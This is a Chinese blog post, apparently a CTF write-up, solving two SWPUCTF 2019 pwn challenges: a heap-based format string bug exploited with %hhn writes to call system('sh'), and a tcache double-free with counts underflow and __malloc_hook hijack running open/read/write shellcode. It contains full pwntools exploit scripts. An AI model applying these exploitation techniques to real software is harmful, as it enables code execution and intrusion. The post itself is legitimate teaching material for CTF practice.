注意
本文最后更新于 2024-02-12,文中内容可能已过时。
因为明天就是SWPUCTF2020了,所以今天看看去年的题目。
在buuoj上面搜到两道去年的题目:
- SWPUCTF_2019_p1KkHeap(tcache attack)
- SWPUCTF_2019_login(堆上的格式化字符串漏洞)
第一题是tcache利用,是我没学过的知识点,打算等一下再研究。
所以我先看了第二题,是一个在堆上的格式化字符串漏洞,且可以多次利用,利用方法就是通过栈上已有的地址来控制任意写。
SWPUCTF_2019_login
利用思路:
- 命名在栈上的四个指针分别为:ptr1, ptr2,ptr3,ptr4
- 其满足条件 *ptr1 == ptr2 && *ptr2 == ptr3 && ptr3 + (2 * 4) == ptr4
- 利用ptr1和格式化字符串漏洞改写ptr2,因为似乎只能用%hhn来改写,所以这里只改写末位,指向ptr3。
- ptr3是上上层的调用(call)返回地址,利用2的漏洞方法,多次写入ptr3的内容。
- ptr4是ptr3 + 8,也就是返回时传入ptr3的第一个参数,我们这里修改ptr3为system,修改ptr4为内容为sh的地址。
- ptr4可以修改为写入堆中的地址,这里有两个可以选择,一个是初始进入时候让我们输入的name的那块地址,另一个是读入格式化字符串到堆上的地址。
- 退出的时候执行 system(sh)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| # -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#r = process('./SWPUCTF_2019_login')
r = remote('node3.buuoj.cn', 28734)
elf = ELF('./SWPUCTF_2019_login')
context.log_level = "debug"
def getVal(x):
r.sendlineafter("Try again!", "%" + str(x) + "$p")
r.recvuntil('0x')
return int(r.recvuntil('\n', drop=True), 16)
def write(ret_addr, arg):
cnt = 0
t = ret_addr
while t > 0:
part = t % 0x100
r.sendlineafter("Try again!", '%' + str(main_stack % 0x100 + cnt) + "c%6$hhn")
r.sendlineafter("Try again!", '%' + str(part) + "c%10$hhn")
t /= 0x100
cnt += 1
cnt = 8
t = arg
while t > 0:
part = t % 0x100
r.sendlineafter("Try again!", '%' + str(main_stack % 0x100 + cnt) + "c%6$hhn")
r.sendlineafter("Try again!", '%' + str(part) + "c%10$hhn")
t /= 0x100
cnt += 1
r.sendlineafter("Please input your name: ", "sh\x00")
r.sendlineafter("Please input your password: ", "1")
libc_start_main_addr = getVal(15) - 0xF1
#libc_start_main_addr = getVal(15) - 0xF7
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc_base = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
main_stack = getVal(6) + 0x4
name_chunk = 0x804B080
write(system_addr, name_chunk)
r.sendlineafter("Try again!", "wllmmllw")
r.interactive()
|
SWPUCTF_2019_p1KkHeap
题目限制:
- 只能free 3次
- 只能申请小于0x100的chunk
- 任何操作只能操作0x12次。
- 禁用system等操作函数。
- 只能malloc 7次。
利用方法:
- tcache leak heap address,用于计算出tcache结构对应的表头指针位置。
- unsorted bin leak,用于计算出
__malloc_hook
的位置 - 把shellcode写入0x66660000,利用open,read,write输出。
- 改写__malloc_hook为shellcode的位置(0x66660000)。
这里可以学到的操作:
无法有足够的条件填充tcache的时候该怎么办?
我们知道,当chunk在tcache范围且tcache没有full(< 7),free一个chunk就会优先进入tcache。
但是这道题就是最多只能free 3次,所以就不够用了。
这个解决方法是要利用tcache未对counts进行严格的判定,可以造成下溢出。
当tcache double free的时候,可以多次申请malloc(循环申请)。
这时候每申请一次,对应记录成员数(counts[idx])的位置就会-1。
所以double free之后,再malloc三次,其内容就会从原来的0x2变成0x2 - 0x3 = -1(0xFF),从而造成下溢出,在与7比较的时候,会转换为一个无符号类型,就会变成一个很大的数字。
这时候我们再free的时候,程序判断tcache是否full,就会导致判定得到full,从而跳过了tcache。
double free只能写入一次数据怎么办?
我们知道在fastbin中,如果double free修改过一次fd指针,那么这个循环的单向链表就不存在了(只能利用一次)。
我们一般的解决方法是利用两个fastbin double free。
tcache的机制也和fastbin很相似,但是有个更简单的方法达成多次任意写。
那就是,利用修改tcache结构tcache_perthread_struct中的entries[idx],这个所代表的意义就是链表的头部,每次申请的时候都会从头部申请出chunk,我们利用tcache attack攻击这个位置,这样就可以控制每一次malloc出来的内容了。
而且,tcache 在malloc的时候不检测size的内容是否正确,这一点与fastbin不同(用安全性来换取了速度)
所以当我们控制了这个位置,那么就是可以写入内存中的任意位置,而且没有任何限制,可谓是非常强大啊。
- 禁用了system等操作函数怎么办?
利用open,read,write来直接操作flag文件。
- open(“flag”)
- read(x, buf, len)
- write(1, buf, len)
其中在2中的x为open的返回值,可以由调试可知;如果在此之前没有open过其他内容,那么一般是3(stdin,stdout,stderr用了前三个)。
buf位置只要是内存中任意有rw权限的位置即可。
这个shellcode手动来写是比较麻烦的,不过我们可以利用shellcraft中的模块来直接生成,看下面exp。
由于这个shellcode是用syscall来调用的,所以不需要libc基址。
一般来说,这种在程序中有RWX是比较少见的,这种时候就需要想办法手动构造ROP链,按照上述顺序调用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
| from pwn import *
#r = process('./SWPUCTF_2019_p1KkHeap')
r = remote('node3.buuoj.cn', 28542)
context(log_level = "debug", arch = "amd64", os = "linux")
def choice(idx):
r.sendlineafter("Your Choice: ", str(idx))
def add_note(size):
choice(1)
r.sendlineafter("size: ", str(size))
def show_note(idx):
choice(2)
r.sendlineafter("id: ", str(idx))
def edit_note(idx, content):
choice(3)
r.sendlineafter("id: ", str(idx))
r.sendlineafter("content: ", content)
def delete_note(idx):
choice(4)
r.sendlineafter("id: ", str(idx))
add_note(0x88) #0
add_note(0x18) #1
#double free
delete_note(0)
delete_note(0)
add_note(0x88) #2
#leak heap1
show_note(0)
heap1_addr = u64(r.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00'))
log.success("heap1_addr: " + hex(heap1_addr))
attack_addr = heap1_addr - (heap1_addr % 0x1000) + 0x88
log.success("attack_addr: " + hex(attack_addr))
#tcache attack
edit_note(2, p64(attack_addr))
#unsorted bin leak
add_note(0x88) #3
add_note(0x88) #4
delete_note(0) #0
show_note(0)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 96 - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
#libc = LibcSearcher("__malloc_hook", malloc_hook_addr)
#libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
#write shellcode
shellcode_addr = 0x66660000
edit_note(4, p64(shellcode_addr))
add_note(0x88) #5
shellcode = shellcraft.open("flag")
shellcode += shellcraft.read(3, shellcode_addr + 0x300, 0x40)
shellcode += shellcraft.write(1, shellcode_addr + 0x300, 0x40)
edit_note(5, asm(shellcode))
#change __malloc_hook
edit_note(4, p64(malloc_hook_addr))
add_note(0x88) #6
edit_note(6, p64(shellcode_addr))
#exec
add_note(0x88)
r.interactive()
|